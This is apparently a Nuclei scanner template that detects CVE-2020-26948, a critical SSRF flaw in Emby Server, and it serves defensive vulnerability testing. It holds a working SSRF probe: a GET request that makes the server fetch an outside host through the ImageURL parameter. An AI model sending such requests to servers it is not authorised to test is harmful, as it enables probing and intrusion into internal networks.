id: CVE-2020-26948

info:
  name: Emby Server Server-Side Request Forgery
  author: dwisiswant0
  severity: critical
  description: Emby Server before 4.5.0 allows server-side request forgery (SSRF) via the Items/RemoteSearch/Image ImageURL parameter.
  impact: |
    An attacker can exploit this vulnerability to access internal resources, perform port scanning, and potentially pivot to other systems.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Emby Server.
  reference:
    - https://github.com/btnz-k/emby_ssrf
    - https://nvd.nist.gov/vuln/detail/CVE-2020-26948
    - https://github.com/btnz-k/emby_ssrf/blob/master/emby_scan.rb
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Live-Hack-CVE/CVE-2020-26948
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-26948
    cwe-id: CWE-918
    epss-score: 0.1449
    epss-percentile: 0.95606
    cpe: cpe:2.3:a:emby:emby:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: emby
    product: emby
  tags: cve2020,cve,emby,jellyfin,ssrf

http:
  - method: GET
    path:
      - "{{BaseURL}}/Items/RemoteSearch/Image?ProviderName=TheMovieDB&ImageURL=http://notburpcollaborator.net"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Name or service not known"

      - type: word
        part: header
        words:
          - "text/plain"

      - type: status
        status:
          - 500
# digest: 4b0a00483046022100c5b4229b7c0844e8fcfb9bc1679051e3ac701c065fd3e5789469152a7df1ec21022100980de112b617f6c799be1d61a0dd773d11dfc361c3d2bd02d98dae82ac6e8d47:922c64590222798bb761d5b6d8e72950